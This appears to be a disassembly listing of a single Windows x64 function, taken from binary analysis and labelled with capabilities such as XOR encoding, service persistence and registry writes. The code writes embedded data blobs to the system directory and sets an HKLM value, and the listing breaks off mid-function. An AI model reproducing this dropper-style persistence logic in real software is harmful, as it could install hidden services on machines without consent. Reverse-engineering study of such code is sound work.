Function at 0x180007260
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Get common file path
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push r15
mov eax, 0x1790
call fcn.18001e9c0
sub rsp, rax
mov rax, qword [0x180de80c0]
xor rax, rsp
mov qword [rsp + 0x1780], rax
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x3f0]
call fcn.18003ec20
mov edx, 0x104
lea rcx, [rsp + 0x3f0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xorps xmm0, xmm0
mov qword [rsp + 0x160], rbx
mov qword [rsp + 0x168], rbx
mov r8d, 3
lea rcx, [rsp + 0x150]
movups xmmword [rsp + 0x150], xmm0
cmp eax, r8d
lea rdx, [rsp + 0x3f0]
jae 0x1800072fc
lea rdx, [0x180069630]
call fcn.180010140
nop
lea rax, [0x180069a18]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0x13
lea rax, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rax, qword [rsp + 0x150]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x128], rax
movups xmm0, xmmword [rsp + 0x120]
movups xmmword [rsp + 0x68], xmm0
movabs rsi, 0xc000000000000000
mov qword [rsp + 0x60], rsi
mov edi, 1
mov qword [rsp + 0x120], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x128], rax
movaps xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x208]
call fcn.1800126b0
nop
lea rax, [0x180069b00]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0x12
lea rax, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rax, qword [rsp + 0x150]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x130]
call fcn.1800126b0
nop
lea rax, [0x180069b28]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0xa
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x1a8]
call fcn.1800126b0
nop
lea rax, [0x180069b40]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0xc
lea rax, [rsp + 0x1a8]
cmp qword [rsp + 0x1c0], 7
cmova rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x1c8]
call fcn.1800126b0
nop
lea rdx, [rsp + 0x1c8]
cmp qword [rsp + 0x1e0], 7
cmova rdx, qword [rsp + 0x1c8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x60]
call fcn.180010140
nop
lea rcx, [rsp + 0x60]
call fcn.1800049c0
movzx r14d, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180007601
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800075fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e4e
call fcn.18001dd90
test r14b, r14b
je 0x180007896
xorps xmm0, xmm0
movups xmmword [rsp + 0x178], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x188], xmm1
mov r8d, 0xf
lea rdx, [0x180069b60]
lea rcx, [rsp + 0x178]
call fcn.180010140
nop
lea rcx, [rsp + 0x178]
call fcn.1800060a0
nop
mov rdx, qword [rsp + 0x190]
cmp rdx, 7
jbe 0x180007692
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000768d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e54
call fcn.18001dd90
lea rcx, [rsp + 0x150]
call fcn.180006ee0
nop
mov rdx, qword [rsp + 0x1e0]
cmp rdx, 7
jbe 0x1800076e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800076e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e5a
call fcn.18001dd90
mov qword [rsp + 0x1d8], rbx
mov qword [rsp + 0x1e0], 7
mov word [rsp + 0x1c8], bx
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 7
jbe 0x18000774c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007747
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e60
call fcn.18001dd90
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], 7
mov word [rsp + 0x1a8], bx
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x1800077b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800077ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e66
call fcn.18001dd90
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], 7
mov word [rsp + 0x130], bx
mov rdx, qword [rsp + 0x220]
cmp rdx, 7
jbe 0x180007814
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000780f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e6c
call fcn.18001dd90
movdqa xmm0, xmmword [0x180de0730]
movdqu xmmword [rsp + 0x218], xmm0
mov word [rsp + 0x208], bx
mov rdx, qword [rsp + 0x168]
cmp rdx, 7
jbe 0x180007875
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007870
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e72
call fcn.18001dd90
mov qword [rsp + 0x160], rbx
mov qword [rsp + 0x168], 7
mov word [rsp + 0x150], bx
jmp 0x180008e20
jmp 0x1800078a9
mov dword [rsp + 0x170], ebx
mov qword [rsp + 0x120], rbx
lea rax, [rsp + 0x120]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [0x1800698d0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180007927
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x170]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x180069940]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rsp + 0x178], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x188], xmm1
mov r8d, 0x9a
lea rdx, [0x180069b80]
lea rcx, [rsp + 0x178]
call fcn.180010140
nop
mov edx, 0x2710
lea rcx, [rsp + 0x178]
call fcn.180005eb0
nop
mov rdx, qword [rsp + 0x190]
cmp rdx, 7
jbe 0x1800079b4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800079af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e78
call fcn.18001dd90
mov qword [rsp + 0x120], 3
lea rcx, [rsp + 0x120]
call fcn.18000f670
xor r15b, r15b
mov byte [rsp + 0x40], r15b
lea rdx, [rsp + 0x1a8]
cmp qword [rsp + 0x1c0], 7
cmova rdx, qword [rsp + 0x1a8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x1b8]
lea rcx, [rsp + 0x60]
call fcn.180010140
nop
lea rcx, [rsp + 0x60]
call fcn.1800049c0
movzx r14d, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180007a64
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007a5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e7e
call fcn.18001dd90
test r14b, r14b
jne 0x180007a9a
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x178]
call fcn.18000f4d0
nop
lea rcx, [rsp + 0x178]
call fcn.180004b10
nop
lea rcx, [rsp + 0x178]
call fcn.180004180
lea rax, [0x180069cb8]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0x1b
lea rax, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rax, qword [rsp + 0x150]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x178]
call fcn.1800126b0
nop
movups xmm0, xmmword [rsp + 0x178]
movups xmmword [rsp + 0x80], xmm0
movups xmm1, xmmword [rsp + 0x188]
movups xmmword [rsp + 0x90], xmm1
movdqa xmm0, xmmword [0x180de0730]
movdqu xmmword [rsp + 0x188], xmm0
mov word [rsp + 0x178], bx
lea rcx, [rsp + 0x80]
call fcn.1800049c0
movzx r14d, al
mov rdx, qword [rsp + 0x98]
cmp rdx, 7
jbe 0x180007bc2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007bbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e84
call fcn.18001dd90
movdqa xmm0, xmmword [0x180de0730]
movdqu xmmword [rsp + 0x90], xmm0
mov word [rsp + 0x80], bx
mov rdx, qword [rsp + 0x190]
cmp rdx, 7
jbe 0x180007c23
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007c1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e8a
call fcn.18001dd90
movzx eax, r15b
test r14b, r14b
cmovne eax, edi
mov byte [rsp + 0x40], al
jmp 0x180007c49
lea rdx, [0x180aa0af0]
lea rcx, [0x180ddd680]
test al, al
cmove rdx, rcx
mov r8d, 0x190
lea rcx, [rsp + 0x1c8]
call fcn.1800066c0
lea rax, [0x180069cf0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0xe
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x2a8]
call fcn.1800126b0
nop
lea rax, [0x180069d10]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0xc
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x3c8]
call fcn.1800126b0
nop
lea rax, [0x180069d30]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0x16
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x3a8]
call fcn.1800126b0
nop
lea rax, [0x180069d60]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0x11
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x388]
call fcn.1800126b0
nop
lea rax, [0x180069d88]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0x10
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x368]
call fcn.1800126b0
nop
lea rax, [0x180069db0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0xc
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x348]
call fcn.1800126b0
nop
lea rax, [0x180069dd0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0x13
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x328]
call fcn.1800126b0
nop
lea rax, [0x180069df8]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0x16
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x308]
call fcn.1800126b0
nop
lea rax, [0x180069e28]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0x10
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x268]
call fcn.1800126b0
nop
lea rax, [0x180069e50]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 0x14
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x248]
call fcn.1800126b0
nop
call fcn.18001cbb0
mov dword [rsp + 0x1774], 0xffffffff
mov dword [rsp + 0x3f4], eax
mov rdx, rdi
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3f4], eax
inc rdx
cmp rdx, 0x270
jb 0x180008270
mov dword [rsp + 0x3f0], 0x270
lea rcx, [rsp + 0x3f0]
call fcn.1800142b0
mov ecx, eax
imul rax, rcx, 0xdbba0
cmp eax, 0x28d7f
ja 0x1800082dd
nop word [rax + rax]
lea rcx, [rsp + 0x3f0]
call fcn.1800142b0
mov ecx, eax
imul rax, rcx, 0xdbba0
cmp eax, 0x28d80
jb 0x1800082c0
shr rax, 0x20
add eax, 0x800186a0
btc eax, 0x1f
lea rcx, [0x1800696e8]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], 3
mov dword [rsp + 0x38], eax
movabs rax, 0x1000000000000000
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x120], rdi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x128], rax
movaps xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0x120], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0x120]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1e8]
call fcn.1800126b0
nop
lea rax, [0x180069e80]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 6
lea rax, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 7
cmova rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x288]
call fcn.1800126b0
nop
lea rax, [0x180069e90]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 5
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x178], rsi
lea rax, [rsp + 0x288]
cmp qword [rsp + 0x2a0], 7
cmova rax, qword [rsp + 0x288]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x198], xmm0
movabs r14, 0xc000000000000010
mov qword [rsp + 0x180], r14
mov qword [rsp + 0x50], 2
lea rax, [rsp + 0x178]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x228]
call fcn.1800126b0
nop
lea rax, [0x180069ea0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0x13
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rax, qword [rsp + 0x130]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x50], rdi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x2c8]
call fcn.1800126b0
nop
mov r8d, 0x8fc00
lea rdx, [0x18096eaf0]
lea rcx, [rsp + 0x2a8]
call fcn.1800066c0
mov r8d, 0x16200
lea rdx, [0x180afb680]
lea rcx, [rsp + 0x3c8]
call fcn.1800066c0
mov r8d, 0x477c00
lea rdx, [0x1802c2af0]
lea rcx, [rsp + 0x3a8]
call fcn.1800066c0
mov r8d, 0x1c3ee9
lea rdx, [0x18006a630]
lea rcx, [rsp + 0x388]
call fcn.1800066c0
mov r8d, 0x74279
lea rdx, [0x18024e870]
lea rcx, [rsp + 0x368]
call fcn.1800066c0
mov r8d, 0xc7c00
lea rdx, [0x180cc5c80]
lea rcx, [rsp + 0x328]
call fcn.1800066c0
mov r8d, 0xce00
lea rdx, [0x180aee880]
lea rcx, [rsp + 0x308]
call fcn.1800066c0
mov r8d, 0xa2200
lea rdx, [0x1809fe8f0]
lea rcx, [rsp + 0x2c8]
call fcn.1800066c0
lea rcx, [0x180069968]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x180008643
mov al, 1
jmp 0x18000869c
lea rdx, [0x180069980]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
jne 0x18000865f
mov al, 1
jmp 0x18000869c
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x3f4]
call fcn.18003ec20
mov dword [rsp + 0x3f0], 0x114
lea rcx, [rsp + 0x3f0]
call rdi
test eax, eax
je 0x180008691
xor al, al
jmp 0x18000869c
cmp dword [rsp + 0x3f4], 0xa
setb al
mov ecx, 0x4fe00
mov r8d, 0x4dc00
test al, al
cmove r8d, ecx
lea rcx, [0x180d8d880]
lea rdx, [0x180aa0c80]
cmove rdx, rcx
lea rcx, [rsp + 0x348]
call fcn.1800066c0
lea rdx, [rsp + 0x268]
cmp qword [rsp + 0x280], 7
cmova rdx, qword [rsp + 0x268]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x278]
lea rcx, [rsp + 0x60]
call fcn.180010140
nop
lea rcx, [rsp + 0x60]
call fcn.1800049c0
movzx edi, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18000875a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008755
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008e90
call fcn.18001dd90
test dil, dil
jne 0x180008779
mov r8d, 0x1b4400
lea rdx, [0x180b11880]
lea rcx, [rsp + 0x268]
call fcn.1800066c0
lea rdx, [rsp + 0x248]
cmp qword [rsp + 0x260], 7
cmova rdx, qword [rsp + 0x248]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8, qword [rsp + 0x258]
lea rcx, [rsp + 0x60]
call fcn.180010140
nop
lea rcx, [rsp + 0x60]
call fcn.1800049c0
movzx edi, al
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180008807
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008802
add rdx, 0x27
